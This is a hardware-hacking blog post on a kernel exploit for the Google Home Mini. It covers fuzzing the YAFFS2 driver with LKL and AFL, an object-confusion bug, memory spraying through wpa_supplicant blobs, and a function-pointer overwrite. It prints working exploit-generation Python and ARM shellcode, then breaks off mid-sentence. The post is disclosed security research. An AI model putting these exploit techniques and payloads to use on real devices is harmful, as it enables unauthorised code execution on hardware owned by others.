Running Custom Code on a Google Home Mini (Part 2)

Posted on Tue 28 July 2020 in Projects

Introduction

After the work detailed in part 1, altering the content of the NAND Flash of the Google Home Mini with ease is now possible.

Despite this very privileged access, because of Google's secure boot implementation, running arbitrary code on the CPU of the device isn't possible using simple and naive methods.

However, as we'll see there is still a way.

This post will detail how I achieved code execution. It will require fuzzing, understanding some Linux code and finally exploiting a kernel bug.

Of course, NandBug, the hardware tool previously introduced is going to be used.

The Plan

Finding a Vulnerability: Where?

Given the secure boot implementation, the next logical step to achieve code execution was to find an exploitable bug somewhere in the code executed by the processor.

I first had a look at the userspace binaries available. My first idea was to find some kind a file parsing bug. Altering a configuration file of the non cryptographically-verified sections of the flash could maybe lead to interesting memory corruptions errors?

Unfortunately, I haven't found anything interesting exploring this path. Further, I realized soon enough that even if a bug was to be found, exploiting it could be tricky.

Indeed, userspace binaries are hardened. For instance, running checksec against a random ELF executable extracted from the initramfs returns the following.

$ checksec --file=./init_properties
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   RUNPATH     No Symbols     Yes   3       5       init_properties

Instead, I targeted "lower hanging fruits".

The Linux kernel used by the Google Home firmware is apparently based on a rather old revision, 3.8.13, and doesn't seem to be using any kind of advanced protection or hardening. Could a Kernel exploit be the key?

Inside of the Kernel, I decided a natural target could be a filesystem driver. Indeed, NandBug can be used to alter the NAND flash content at the lowest level.

In particular, I first choose to study the YAFFS2 driver, that is used by the cache and factory_store partitions.

Choosing YAFFS2 as a first target was not a totally random choice.

By looking at the source code, I've indeed noticed Google applied a couple of patches that are nowhere to be found upstream. Further, even without accounting for these custom patches the YAFFS2 revision used is several years old. Last but not least, these partitions aren't part of the chain of trust, they are not verified.

Hence, the very high level plan was now the following:

  • Find a vulnerability in YAFFS2 Kernel code
  • Alter the NAND Flash content to trigger and exploit this vulnerability on the Google Home
  • Profit

Finding a Vulnerability: How?

"Finding a vulnerability in the YAFFS2 Kernel code" is easier said than done.

Manually studying the source code was an option. Indeed, the source code of the entire Kernel is publicly available here.

However, I choose to rely of fuzzing instead.

Fuzzing the YAFFS2 Kernel Driver

Inspiration: the Janus Fuzzer

I'm not the first one who attempted to fuzz an entire filesystem implementation. Several resources and tools are available online.

The idea behind one of these tools, the Janus Fuzzer however caught my attention.

The concept behind Janus, as explained by its creators, is the following:

Janus is a general file system fuzzer. Janus finds memory corruptions in in-kernel file systems on Linux by exploring the input space of both images and syscalls simultaneously in an efficient and effective manner. Janus is implemented as an AFL variant. As an OS fuzzer, its target is not traditional VMs but Linux Kernel Library (https://github.com/lkl). Janus has found around 100 unique crashes in mainstream file systems with 32 CVEs assigned so far.

What interested me was the use of the Linux Kernel Library.

LKL (Linux Kernel Library) is aiming to allow reusing the Linux kernel code as extensively as possible with minimal effort and reduced maintenance overhead.

Examples of how LKL can be used are: creating userspace applications (running on Linux and other operating systems) that can read or write Linux filesystems or can use the Linux networking stack, creating kernel drivers for other operating systems that can read Linux filesystems, bootloaders support for reading/writing Linux filesystems, etc.

With LKL, the kernel code is compiled into an object file that can be directly linked by applications. The API offered by LKL is based on the Linux system call interface.

LKL is implemented as an architecture port in arch/lkl. It uses host operations defined by the application or a host library (tools/lkl/lib).

Instead of fuzzing the Linux Kernel by naively running it into a Virtual Machine, Janus creates a userspace binary that's directly calling the Linux Kernel code to be tested.

This as several advantages:

  • This is faster, has less overhead. There is indeed no need to boot an entire VM at each iteration of the fuzzing loop.
  • Fuzzing userspace applications is a rather common and well documented process. Something like AFL can easily be used.

Porting LKL to the Google Home Linux Kernel

To maximize my chances of finding an exploitable bug on the real hardware, I've decided to fuzz the exact same Kernel than the one published by Google.

That's why, for the Janus method to work, this very Kernel must be compiled as userspace LKL application.

Using LKL with a given Kernel can be achieved by patching its code so it supports the lkl architecture.

I achieved this by:

  • Copying relevant files from the lkl sources to the Google Home Linux sources. In particular, the arch/lkl/ folder must be copied.
  • Patching many other little things so that the Google 3.8.13 sources can work correctly with the new arch/lkl/ folder.

This was a rather time consuming and not particularly interesting task.

The final patched Kernel is available here. Please note that I've only extensively tested the YAFFS2 driver. Other parts may or may not work correctly.

Compiling a LKL Test Harness

The test harness I used to fuzz the YAFFS2 filesystem basically performs the following operations:

  • Retrieve an entire filesystem image from stdin.
  • Flash this filesystem image to virtual NAND flash device, emulated by the nandsim Linux Kernel driver
  • Mount the filesystem
  • Perform various operations on the filesystem (read, write, unlink, list the content of a directory, ...)
  • Unmount the filesystem

The complete fuzzing harness source code is available here. Everything can be compiled by running the ./build_yaffs_harness.sh script. The resulting ELF binary is available at ./tools/lkl/fsfuzz after the compilation.

Here again, this harness has been adapted from some Janus parts.

Fuzzing Results

AFL was used.

The initial data to be mutated was a simple YAFFS2 image containing a couple of folders and files. For the record and if anyone attempts to reproduce my results, the image I used can be downloaded here.

AFL workers were launched with the following command.

./AFL/afl-fuzz -S fuzzer1 -m 1024 -i inp/ -o out/ ./tools/lkl/fsfuzz
A running AFL instance

The number executions per second is admittedly rather low, but by launching several instances of the loop on multiple CPU cores, I obtained several hundred of crashes in less than a 24 hours.

Studying these crashes led me to discover an exploitable bug I'll now describe.

The YAFFS2 "Object Confusion" Bug

Introduction

To better follow the bug description, don't hesitate to have a look to the complete YAFFS2 code used by Google here.

Additionally, a quick read of the entire YAFFS Technical Documentation might be needed from time to time, but I'll first very quickly introduce important concepts by referring to relevant parts of this very document.

The Yaffs NAND model

The memory in NAND flash is arranged in pages. A page is the unit of allocation and programming. In Yaffs, the unit of allocation is the chunk. Typically a chunk will be the same as a NAND page, but there is flexibility to use chunks which map to multiple pages (eg. A system may have two NAND chips in parallel requiring 2x2048 = 4096 byte chunks) . This distinction gives a lot of flexibility in how the system can be configured. In this text the term page and chunk are synonymous unless stated otherwise. Many, typically 32 to 128 but as many as a few hundred, chunks form a block. A block is the unit of erasure. NAND flash may be shipped with bad blocks and further blocks may go bad during the operation of the device. Thus, Yaffs is aware of bad blocks and needs to be able to detect and mark bad blocks. NAND flash also typically requires the use of some sort of error detection and correction code (ECC). Yaffs can either use existing ECC logic or provide its own.

In the case of the Google Home Mini, a NAND Flash page corresponds to a chunk and the ECC code aren't computed on the YAFFS2 side. The hardware ECC of the SoC is used.

Content of the Chunks

Instead of writing data in locations specific to the files, the file system data is written in the form of a sequential log, The entries in the log are all one chunk in size and can hold one of two types of chunk: - Data chunk: A chunk holding regular data file contents. - Object Header: A descriptor for an object (directory, regular data file, hard link, softlink, special descriptor,...). This holds details such as the identifier for the parent directory, object name, etc.

Each chunk owns additional pieces of information called tags. To understand the bug, the relevant tag types are the following:

  • Object Id (obj_id): Identifies which object the chunk belongs to.
  • Chunk Id (chunk_id): Identifies where in the file this chunk belongs. A chunk_id of zero signifies that this chunk contains an objectHeader. chunk_id==1 signifies the first chunk in the file (ie. At file offset 0), chunk_id==2 is the next chunk and so on.
  • Byte Count: (n_bytes): Number of bytes of data if this is a data chunk.
  • Sequence Number (seq_number): As each block is allocated, the file system's sequence number is incremented and each chunk in the block is marked with that sequence number. The sequence number thus provides a way of organising the log in chronological order.

Description of the Bug

Theoretical Description

The vulnerability I found is a kind of object confusion vulnerability.

Issues are located in the yaffs2_scan_chunk function.

Let's consider what happens when a YAFFS2 partition is mounted. Each chunk of the NAND flash will be scanned: the yaffs2_scan_chunk function will be called for each of them.

If the scan bump into a chunk with chunk_id > 0, it will be considered as a data chunk and a new yaffs_obj object in will be allocated by yaffs_find_or_create_by_number.

The type of the object is set to YAFFS_OBJECT_TYPE_FILE.

    } else if (tags.chunk_id > 0) {
        /* chunk_id > 0 so it is a data chunk... */
        loff_t endpos;
        loff_t chunk_base = (tags.chunk_id - 1) *
                    dev->data_bytes_per_chunk;

        *found_chunks = 1;

        yaffs_set_chunk_bit(dev, blk, chunk_in_block);
        bi->pages_in_use++;

        in = yaffs_find_or_create_by_number(dev,
                    tags.obj_id,
                    YAFFS_OBJECT_TYPE_FILE);

The size of this file will be computed from data obtained in the chunk content (tags.n_bytes and tags.chunk_id) and set to the variant.file_variant union of this newly allocated in yaffs_obj.

        loff_t chunk_base = (tags.chunk_id - 1) *
                    dev->data_bytes_per_chunk;

        /* [...] */

        /* File size is calculated by looking at
         * the data chunks if we have not
         * seen an object header yet.
         * Stop this practice once we find an
         * object header.
         */
        endpos = chunk_base + tags.n_bytes;
        if (!in->valid &&
            in->variant.file_variant.scanned_size < endpos) {
            in->variant.file_variant.
                scanned_size = endpos;
            in->variant.file_variant.
                file_size = endpos;
        }

Next, let’s consider another chunk with the very same object_id is scanned. This chunk can be an object header for any kind of object. The same yaffs_obj as the previously allocated one will be used.

        /* chunk_id == 0, so it is an ObjectHeader.
         * Thus, we read in the object header and make
         * the object
         */
        *found_chunks = 1;

        yaffs_set_chunk_bit(dev, blk, chunk_in_block);
        bi->pages_in_use++;

        oh = NULL;
        in = NULL;

        if (tags.extra_available) {
            in = yaffs_find_or_create_by_number(dev,
                    tags.obj_id,
                    tags.extra_obj_type);
            if (!in)
                alloc_failed = 1;
        }

The object type is not considered by the yaffs_find_or_create_by_number function when finding an already allocated object by id.

struct yaffs_obj *yaffs_find_or_create_by_number(struct yaffs_dev *dev,
                         int number,
                         enum yaffs_obj_type type)
{
    struct yaffs_obj *the_obj = NULL;

    if (number > 0)
        the_obj = yaffs_find_by_number(dev, number);

    if (!the_obj)
        the_obj = yaffs_new_obj(dev, number, type);

    return the_obj;

}

If the new object type is different from the previously set YAFFS_OBJECT_TYPE_FILE, an error trace will be displayed, but this message won't stop the code execution nor fix the situation in any meaningful way.

        if (!in->valid && in->variant_type !=
            (oh ? oh->type : tags.extra_obj_type))
            yaffs_trace(YAFFS_TRACE_ERROR,
                "yaffs tragedy: Bad object type, %d != %d, for object %d at chunk %d during scan",
                oh ? oh->type : tags.extra_obj_type,
                in->variant_type, tags.obj_id,
                chunk);

Hence, the in yaffs_object variant_type is updated, while the content of the variant union is kept the same.

in->variant_type = tags.extra_obj_type;

At this point, the situation is the following:

  • The variant union was filled as a file_variant type.
  • This variant union is now considered to be another variant, corresponding to an arbitrary YAFFS2 object.

Dynamic Analysis

To better understand the mechanisms and implications of this confusion, let's dynamically study the previously described execution flow.

Here are some snippets from a GDB session attached to a QEMU instance running Google's kernel (more detail on the emulation process will be given later in the article).

First, after the driver has read a chunk with chunk_id > 0, the following yaffs_object is allocated.

gef> p *in
$2 = {
  [...]
  variant_type = YAFFS_OBJECT_TYPE_FILE,
  variant = {
    file_variant = {
      file_size = 0x42442,
      scanned_size = 0x42442,
      shrink_size = 0x7ffffff800,
      top_level = 0x0,
      top = 0xc6ca0000
    },
    dir_variant = {
      children = {
        next = 0x42442,
        prev = 0x0
      },
      dirty = {
        next = 0x42442,
        prev = 0x0
      }
    },
    symlink_variant = {
      alias = 0x42442 <error: Cannot access memory at address 0x42442>
    },
    hardlink_variant = {
      equiv_obj = 0x42442,
      equiv_id = 0x0
    }
  }
}

The variant union is considered a file_variant and is filled as follow:

    file_variant = {
      file_size = 0x42442,
      scanned_size = 0x42442,
      shrink_size = 0x7ffffff800,
      top_level = 0x0,
      top = 0xc6ca0000
    }

It's important to note that the file_size is computed from the chunk data, and can be set to arbitrary values.

Next, let's consider a directory header chunk with the same obj_id is scanned. The resulting object will be modified as follow.

gef> p *in
$7 = {
  [...]
  variant_type = YAFFS_OBJECT_TYPE_DIRECTORY,
  variant = {
    file_variant = {
      file_size = 0x42442,
      scanned_size = 0x42442,
      shrink_size = 0x7ffffff800,
      top_level = 0x0,
      top = 0xc6ca0000
    },
    dir_variant = {
      children = {
        next = 0x42442,
        prev = 0x0
      },
      dirty = {
        next = 0x42442,
        prev = 0x0
      }
    },
    symlink_variant = {
      alias = 0x42442 <error: Cannot access memory at address 0x42442>
    },
    hardlink_variant = {
      equiv_obj = 0x42442,
      equiv_id = 0x0
    }
  }
}

Now, the variant union is to be interpreted as a dir_variant.

    dir_variant = {
      children = {
        next = 0x42442,
        prev = 0x0
      }

Consequently, the in->variant->dir_variant.children.next can be controlled.

gef> p in->variant->dir_variant.children.next
$11 = (struct list_head *) 0x42442

When this poisoned folder is used, various kind of memory corruptions errors can occur.

For instance, as we'll see, removing it from the filesystem (for instance, with a simple userspace rm command) will trigger a code path that may result in controlling a function pointer, ultimately leading to possible code execution.

Path to Arbitrary Code Execution

While a poisoned folder similar to the one described before is unlinked, the static void yaffs_check_obj_details_loaded(struct yaffs_obj *in) is called with a in parameter, corresponding to the controlled in->variant->dir_variant.children.next variable.

At that point, on the debugged QEMU session, the call stack looks like the following.

[#0] 0xc012fbd8->yaffs_check_obj_details_loaded(in=0x42422)
[#1] 0xc0130acc->yaffs_get_obj_name(obj=0x42422, name=0xc6cb3e38 "", buffer_size=0x100)
[#2] 0xc012bc74->yaffs_readdir(f=0xc79138a0, dirent=0x0, filldir=0xc79138a0)
[#3] 0xc009d73c->vfs_readdir(file=0xc79138a0, filler=0xc009d8b0 <filldir64>, buf=0xc6cb3f80)
[#4] 0xc009dcb0->sys_getdents64(fd=<optimized out>, dirent=0xbecb7c40, count=0x1000)
[#5] 0xc00137e0->kuser_cmpxchg32_fixup()

The relevant parts of the yaffs_check_obj_details_loaded function are highlighted below.

static void yaffs_check_obj_details_loaded(struct yaffs_obj *in)
{
    /* [...] */
    dev = in->my_dev;
    /* [...] */
    result = yaffs_rd_chunk_tags_nand(dev, in->hdr_chunk, buf, &tags);
    /* [...] */
}

int yaffs_rd_chunk_tags_nand(struct yaffs_dev *dev, int nand_chunk,
                 u8 *buffer, struct yaffs_ext_tags *tags)
{

    /* [...] */
    result = dev->tagger.read_chunk_tags_fn(dev, flash_chunk, buffer, tags);
    /* [...] */
}

Here, carefully selecting the address of the yaffs_obj so it points to a controlled area means that the function pointer to dev->tagger.read_chunk_tags_fn can be controlled as well.

Overwriting a function pointer could ultimately lead to arbitrary code execution.

Upstream Bug Status

In the upstream YAFFS2 source code, this issue has actually luckily been patched by a commit dating back from 2014. Judging from the commit message, possible security implications of the bug were apparently not known.

What's surprising is that even if this vulnerability isn't supposed to be exploitable since 2014, the Linux Kernel running on the Google Home Mini I had in hand is vulnerable. This kernel was however compiled not that long ago, in June 2019.

Linux version 3.8.13+ (user@host) (gcc version 4.9.x 20150123 (prerelease) (4.9.2_cos_gg_4.9.2-r203-ac6128e0a17a52f011797f33ac3e7d6273a9368d_4.9.2-r203) ) #0 SMP PREEMPT Fri Jun 7 12:32:44 2019 -0700 (78e8f601)

Further, on more recent kernel revisions available among Google's released sources, this upstream YAFFS2 patch is included.

I've contacted both the YAFFS2 maintainer and Google about this issue. It appears that:

  • The Google employee I was in contact with was not aware of any security vulnerability and said the newly included 2014 patch could have simply been a routine patch.
  • As up-to-date code isn't exploitable anymore, no further actions will be taken.

Exploiting the Google Home Mini

The Plan

Given this bug and the "Path to Arbitrary Code Execution", overwriting the read_chunk_tags_fn function pointer on the Google Home Mini will at least require the following:

  • The Google Home Mini firmware will need to mount one of the two YAFFS2 partitions, cache and factory_store.
  • At some point, a folder of one of these partitions will have to be removed. This folder object can be poisoned to trigger the bug.
  • A way to fill the memory with arbitrary data at a relatively stable location will be needed. This memory can be used to store fake yaffs_object. Filling memory with a large amount of data will be required, so relying on precise addresses won't be needed.

By chance, all theses three conditions are fulfilled by the initialization script executed at the very beginning of the boot process.

YAFFS2 Partitions Mounting

This script, init.rc, located in the Kernel initramfs, contains the following lines.

First, the cache and factory_store partitions are mounted.

    mount yaffs2 mtd@cache /cache noexec rw nosuid nodev noatime
    # [...]
    mkdir /cache/.data 0755 root root
    exec /bin/mount -o bind /cache/.data /data
    # [...]
    mount yaffs2 mtd@factory_store /factory_setting ro nosuid nodev noatime

Folder Removal

Soon after, it's possible to find a piece of code that removes a folder from the cache partition.

    # watchdog setup should be after launch of ampservice
    # this is expensive since it scans procfs
    exec /bin/sh /sbin/watchdog_setup.sh ampservice

The beginning of the /sbin/watchdog_setup.sh file contains these commands:

WATCHDOG_DIR=/data/watchdog
PID_FILES_DIR=${WATCHDOG_DIR}/pid_files
WATCHDOG_DIR_IN=/etc
CONFIG_FILE_IN=${WATCHDOG_DIR_IN}/watchdog.conf.in
CONFIG_FILE=${WATCHDOG_DIR}/watchdog.conf

umask 077
rm -r ${PID_FILES_DIR}

It means, the folder object we'll need to poison is ./.data/watchdog/pid_files, located on the cache partition.

Memory Filling

There is still one important point to address: how to fill the memory with arbitrary data?

An easy way to achieve this is to use a little trick, involving the tool wpa_supplicant. This binary is launched just before the "folder removal" operation.

service wpa_supplicant /bin/wpa_supplicant -imlan0 -c/data/wifi/wpa_supplicant.conf
    socket wpa_mlan0 dgram 660 wifi wifi
    class service

As the configuration file /data/wifi/wpa_supplicant.conf is read from the NAND flash, it can be filled with arbitrary data.

One of the feature of wpa_supplicant is to be able to load binary blobs from its configuration file. This seems to be useful to, for instance, store certificates.

# Example configuration showing how to use an inlined blob as a CA certificate
# data instead of using external file
network={
    ssid="example"
    key_mgmt=WPA-EAP
    eap=TTLS
    identity="user@example.com"
    anonymous_identity="anonymous@example.com"
    password="foobar"
    ca_cert="blob://exampleblob"
    priority=20
}

blob-base64-exampleblob={
SGVsbG8gV29ybGQhCg==
}

It turns out there is no size limitation enforced. it's possible to define extremely large blob-base64. Further, these blobs are loaded as soon as wpa_supplicant is launched.

Therefore, using blob-base64 seems to be an ideal method to fill the RAM of the Google Home Mini with controlled data, just before triggering the YAFFS2 bug.

One question remains though. The memory filled here is the virtual memory of the wpa_supplicant process. Will it be directly accessible from the Kernel?

To answer this, let's have a look at some the Kernel boot traces, available on logs files of the NAND flash.

[    0.000000] Virtual kernel memory layout:
[    0.000000]     vector  : 0xffff0000 - 0xffff1000   (   4 kB)
[    0.000000]     fixmap  : 0xfff00000 - 0xfffe0000   ( 896 kB)
[    0.000000]     vmalloc : 0xde000000 - 0xff000000   ( 528 MB)
[    0.000000]     lowmem  : 0xc0000000 - 0xddd00000   ( 477 MB)
[    0.000000]       .text : 0xc0008000 - 0xc0672ea8   (6572 kB)
[    0.000000]       .init : 0xc0673000 - 0xc06a3d40   ( 196 kB)
[    0.000000]       .data : 0xc06a4000 - 0xc06e8780   ( 274 kB)
[    0.000000]        .bss : 0xc06e8780 - 0xc07353a0   ( 308 kB)

These early traces give information about the virtual memory layout used by the system. To understand everything, reading some documentation might be useful.

However, here, let's just focus on the lowmem section. According to the linked document:

For efficiency reasons, the virtual address space is divided into user space and kernel space. For the same reason, the kernel space contains a memory mapped zone, called lowmem, which is contiguously mapped in physical memory, starting from the lowest possible physical address (usually 0). The virtual address where lowmem is mapped is defined by PAGE_OFFSET.

On a 32bit system, not all available memory can be mapped in lowmem and because of that there is a separate zone in kernel space called highmem which can be used to arbitrarily map physical memory.

The important points for us is that:

  • The lowmem area is easily accessible from the Kernel.
  • There is a one to one mapping between the physical memory and the lowmem area.

According to the logs, lowmem is 477 MB. The physical memory of the Google Home Mini hardware is just 512 MB. Thus, a highmem section is not needed. The content of the blob-base64 will be available somewhere in lowmem, accessible at addresses ranging from 0xc0000000 to 0xddd00000.

There is still one point to address. It's obviously not possible to control where on the physical memory, the blob-base64 are written to. Fortunately:

  • It's possible to partially mitigate this problem by using large blob-base64 objects.
  • As everything happens just after the boot, I've found memory addresses to be relatively stable (at least stable enough to have an exploit that works from time to time).

From Function Pointer Overwrite to Code Execution

The previously described elements are enough to overwrite the dev->tagger.read_chunk_tags_fn pointer. But how to execute arbitrary code from this point?

It turns out that on my Google Home Mini Kernel, it's rather straightforward. Indeed, this Kernel does not include this commit untitled "Simple NX lowmem mappings".

Add basic NX support for kernel lowmem mappings. We mark any section which does not overlap kernel text as non-executable, preventing it from being used to write code and then execute directly from there.

Data in lowmem can be executed. Writing a shellcode on a blob-base64 and jumping on it will do the trick.

The Big Picture

To summarize what has been said before, you may find useful to refer to the following diagram.

The General Strategy

Additional Details

To keep things relatively short and digest, I voluntarily omitted a couple of less relevant details.

In particular:

  • The YAFFS2 filesystem does use a so-called Garbage Collector. This is implemented as an additional Kernel thread that is periodically executed after the mounting of the filesystem. If this collector happens to scan the poisoned folder before the folder removal operation, a non-exploitable fault will occur. Nevertheless, in our specific case, this is not that big of an issue because the folder removal operation occurs right after the filesystem has been mounted.
  • The entire "filling the memory with several yaffs_object structures" thing is slightly more complicated than this. The content of the objects must for instance fulfill a couple of conditions, so that the code path leading to the function pointer call is used.
  • Further, a yaffs_object being rather large, simply filling the memory will make unlikely an object is aligned with a given memory address. To mitigate this issue, I crafted special structures that can be loaded as a valid yaffs_object from several offsets.

Exploiting the Google Home Mini

Emulating the Google Home Firmware with QEMU

Before even starting to exploit anything, I wanted a reliable and somewhat "realistic" way to test my code. I achieved this by partially emulating the Google Home Firmware with QEMU.

Without emulating the entire hardware of the device, it's of course not possible to emulate everything. However, it's still possible to compile the Google Home Kernel from the sources, boot it, and run a part of the initramfs init.rc script. That's just enough to trigger the YAFFS2 bug.

Concerning the kernel side of things, you can refer to the following branch of my gmini-linux repository. It contains:

  • A Kernel configuration file, vexpress_gmini, targeting the vexpress-a9 hardware. vexpress-a9 is a Cortex-A15 machine supported by QEMU. This is the closest thing to an actual Google Home Mini I found. No perfect of course, but good enough for my purpose.
  • A patch that allows nandsim, the NAND Flash Simulator driver to reuse a cache file across reboots. This is inspired by this patch. In a nutshell, this allows for easier NAND flash data provisioning.

The initramfs I attached to this kernel is almost the same as the one dumped from the NAND Flash. I had to alter a couple of things, including:

  • Removing some references to non-existing hardware initialized before the bug is triggered (Mostly a I2C LED driver and WiFi).
  • Adding a couple of lines to initialize the nandsim NAND Flash Simulator with altered cache and factory_store partitions.

With these zImage Kernel and initramfs.cpio.gz initramfs, the system can be booted in the following way:

qemu-system-arm -m 477M -nographic -M vexpress-a9    \
  -kernel zImage  \
  -append "console=ttyAMA0"                          \
  -nic user,hostfwd=tcp::2222-:22 -sd gminidisk.img  \
  -initrd initramfs.cpio.gz

The gminidisk.img is a file containing the NAND Flash data that the nandsim driver is going to use.

I won't be sharing the content of the initramfs.cpio.gz file, as it does contain Google intellectual property.

The Complete Exploit

A lot of QEMU debugging later, I came up with a working exploit.

The complete code is available here.

The GenFilesystem.py script can be used to generate two YAFFS2 filesystem images, cache and factory_store, allowing for arbitrary code execution on the Google Home Mini.

./GenFilesystem.py -h
usage: GenFilesystem.py [-h] address output

Generate YAFFS2 filesystems

positional arguments:
  address     Guess of the fake yaffs_obj target address in lowmem area
  output      Output filename

optional arguments:
  -h, --help  show this help message and exit

Let me explain how these images are generated by reading through the exploit code.

Cache Filesystem Creation
    #
    # Build cache YAFFS2 partition (the actual exploit payload)
    #

    partition = Yaffs2Partition()

A first YAFFS2 partition, the cache partition is created. This partition is the one that will contain the YAFFS2 structures leading to the bug being triggered.

Please note that the Yaffs2Partition Python object comes from the YAFFS2.py file, that implements some simple (and actually rather incomplete) representations of various YAFFS2 objects.

    # Fill the partition with the minimal amount of files
    # for the system to boot until the YAFFS2 bug
    # is triggered

    tar = tarfile.open("cache_skeleton.tar", "r")

    for obj in tar.getmembers():
        if obj.name in [".", "./lost+found", "./.data/wifi/wpa_supplicant.conf"]:
            continue
        if obj.isdir():
            partition.add_dir(obj.name, obj.mode, obj.uid, obj.gid)
        elif obj.issym():
            partition.add_sym(obj.name, obj.linkname,
                              obj.mode, obj.uid, obj.gid)
        else:
            print(f"Unsupported object {obj}")
            exit(-1)

Next, this filesystem is populated with objects coming from the cache_skeleton.tar archive. This archive contains a minimal set of files and directories.

These objects are needed for the init.rc script to work until the YAFFS2 bug is triggered.

Please note that once again, this archive does contain Google IP. That's why, I won't share it and the cache_skeleton.tar available on GitHub is an empty archive.

    # Create specially crafted wpa_supplicant.conf
    # This will fill the memory with fake yaffs_object structures

    fake_objet_address = int(args.address, 16)
    mem_filler = generate_wpa_filler(fake_objet_address)
    partition.add_file("./.data/wifi/wpa_supplicant.conf",
                       mem_filler, mode=384, gid=1008, uid=1008)

Further down the code, the wpa_supplicant.conf file is created. This file is used to fill the memory with arbitrary data.

The generate_wpa_filler function is the following.

def generate_wpa_filler(target_address):
    """
    Return the content of the special wpa_supplicant.conf file
    Once interpreting this file, wpa_supplicant will fill the memory
    with yaffs_object-like structures. If by chance one of these structures
    ends up at target_address, the exploit will succeed.
    """

    yaffs_obj_addr = target_address
    my_dev_addr = yaffs_obj_addr - 120
    shellcode_addr = yaffs_obj_addr + 12 * 4

    #
    # Each block contains multiple yaffs_object structures
    # as well as a shellcode
    #
    block = b""
    for i in range(110):
        #
        # Fake Yaffs objects
        #
        block += pack("III" + "IIIIIIIII",
                      0x0fffffff, 0x0fffffff,
                      my_dev_addr,
                      my_dev_addr,
                      my_dev_addr,
                      0, 0,
                      shellcode_addr + 12*4 * (100-i-1),
                      shellcode_addr + 12*4 * (100-i-1) - 4,
                      shellcode_addr + 12*4 * (100-i-1) - 8,
                      0xdead,
                      0xdead
                      )

    block += open("shellcode/shellcode.bin", "rb").read()

    data = block * 32

    data = b64encode(data)  # blob-base64 are base64 encoded

    f = BytesIO()

    #
    # Writing these lines is mandatory for the
    # init.rc script to consider the configuration file
    # as valid
    #
    f.write(b"ctrl_interface=/data/wifi\n")
    f.write(b"update_config=1\n")
    f.write(b"country=US\n")

    #
    # Fill actual AP data, so the Google Home Mini will be accessible
    # via WiFi
    #
    f.write(b"network={\n")
    f.write(b"ssid=\"GMINI\"\n")
    f.write(b"psk=eaa956726e95bba1dc63dccfe6a699cf203535bdac3eeeb6173ef18f41a78150\n")
    f.write(b"}\n")

    #
    # Create a large number of blob-base64 to fill the memory
    #
    for i in range(400):
        f.write(b"blob-base64-f"+str(i).encode()+b"={\n")
        for i in range(0, len(data), 128):
            f.write(data[i:i+128] + b"\n")
        f.write(b"}\n")

    return f.getvalue()

You can read the comments to understand the details of this function, but basically it will:

  • Prepare a special structure, composed of data that could be interpreted as a yaffs_object along with a shellcode (more on this later) to be executed. These generated objects will only be valid once loaded at the address target_address. However, the amount of objects being large, the probability of this situation happening for a carefully selected target_address is supposedly high. I won't go through the very details of the structure and I'll just highlight it is the way it is in order to go far enough into the YAFFS2 kernel code. Far enough to call the overwritten dev->tagger.read_chunk_tags_fn function.
  • Base64 encode this data and create a large amount of blob-base64 to load everything into the memory.
  • Despite all these blob-base64, the generated wpa_supplicant.conf file is still valid and will allow the Google Home to connect a WiFi access point. This is of course useful to communicate with the device after the exploit has been run.

After the creation of the wpa_supplicant.conf file, the ./.data/watchdog/pid_files directory is built.

    partition.add_dir("./.data/watchdog/")

    partition.finish_block()

    # Manually add the "./.data/watchdog/pid_files" directory.
    # This is the folder that will be removed by the init scripts
    chunk = Yaffs2Chunk()
    chunk.hdr.type = 3
    chunk.hdr.parent_obj_id = partition.get_id("./.data/watchdog/")
    chunk.hdr.name = b"pid_files"

    chunk.oob.seq_number = partition.current_seq_number
    chunk.oob.obj_id = partition.current_obj_id + 1
    chunk.oob.chunk_id = 0
    chunk.oob.n_bytes = 0

    partition.add_chunk(chunk)

Finally, let's trigger the bug. Another chunk is added, with the same obj_id as the ./.data/watchdog/pid_files directory.

    # Evil chunk, will poison the "./data/watchdog/pid_files" folder.
    chunk = Yaffs2Chunk()
    chunk.hdr.type = 3  # YAFFS_DIR
    chunk.hdr.parent_obj_id = 0
    chunk.hdr.name = b"pid_files"

    chunk.oob.seq_number = partition.current_seq_number  # Same as pid_file/
    chunk.oob.obj_id = partition.current_obj_id + 1  # Same as pid_file/

    # Compute chunk_id and n_bytes so that removing pid_file
    # will consider the object at fake_objet_address
    chunk.oob.chunk_id = (fake_objet_address+0x20) // 0x800 + 1
    chunk.oob.n_bytes = (fake_objet_address+0x20) - \
        (chunk.oob.chunk_id-1) * 0x800

    partition.add_chunk(chunk)

The chunk.oob.chunk_id and chunk.oob.chunk_id values are carefully computed, so the accessed yaff_object during the directory removal operation is located at fake_objet_address.

To understand how these values are computed, you can have a look at the Kernel C code previously detailed. The relevant code looks like the following.

        loff_t chunk_base = (tags.chunk_id - 1) * dev->data_bytes_per_chunk;     
        endpos = chunk_base + tags.n_bytes;               
        in->variant.file_variant.scanned_size = endpos;

With everything finally ready, the filesystem can now be save to a binary file.

    f = open(f"cache_{args.output}", "wb")
    partition.save(f)
    f.close()
The Shellcode

Here is the complete source code of the shellcode to be executed.

.text
.global _start

_start:

  // call_usermodehelper_fns("/bin/mount", ["/bin/mount", "-o", "remount,rw,exec",
  //                                        "/factory_setting", 0x00],
  //                          NULL, UMH_WAIT_PROC, NULL, NULL, NULL)

  add r0, pc, #88 // mount
  add r1, pc, #95 // dasho
  add r2, pc, #94 // remount,exec
  add r3, pc, #106 // factory_setting
  mov r4, #0
  push {r0-r4}

  mov r1, sp // ["/bin/mount", "-o", "remount,rw,exec", "/factory_setting", 0x00]

  push {r4} // NULL
  push {r4} // NULL
  push {r4} // NULL

  mov r2, #0 // NULL
  ldr r3, =2 // UMH_WAIT_PROC

  ldr r4, =0xc00fa15c //=0xc00f75d0 // =0xc00fa15c // usermodehelper
  blx r4

  // call_usermodehelper_fns("/factory_setting/s", ["/data/s", 0x00],
  //                          NULL, UMH_WAIT_PROC, NULL, NULL, NULL)

  add r0, pc, #79 // shell
  add r1, pc, #75 // shell
  mov r2, #0
  push {r0-r2}

  mov r1, sp // ["/factory_setting/s", 0x00]

  push {r2} // NULL
  push {r2} // NULL
  push {r2} // NULL

  ldr r3, =2 // UMH_WAIT_PROC

  blx r4

mount:           .asciz "/bin/mount"
dasho:           .asciz "-o"
remount:         .asciz "remount,rw,exec"
factory_setting: .asciz "/factory_setting"
shell:           .asciz "/factory_setting/s"

The call_usermodehelper_fns function is used to call a userspace binary from the Kernel side.

The following is accomplished:

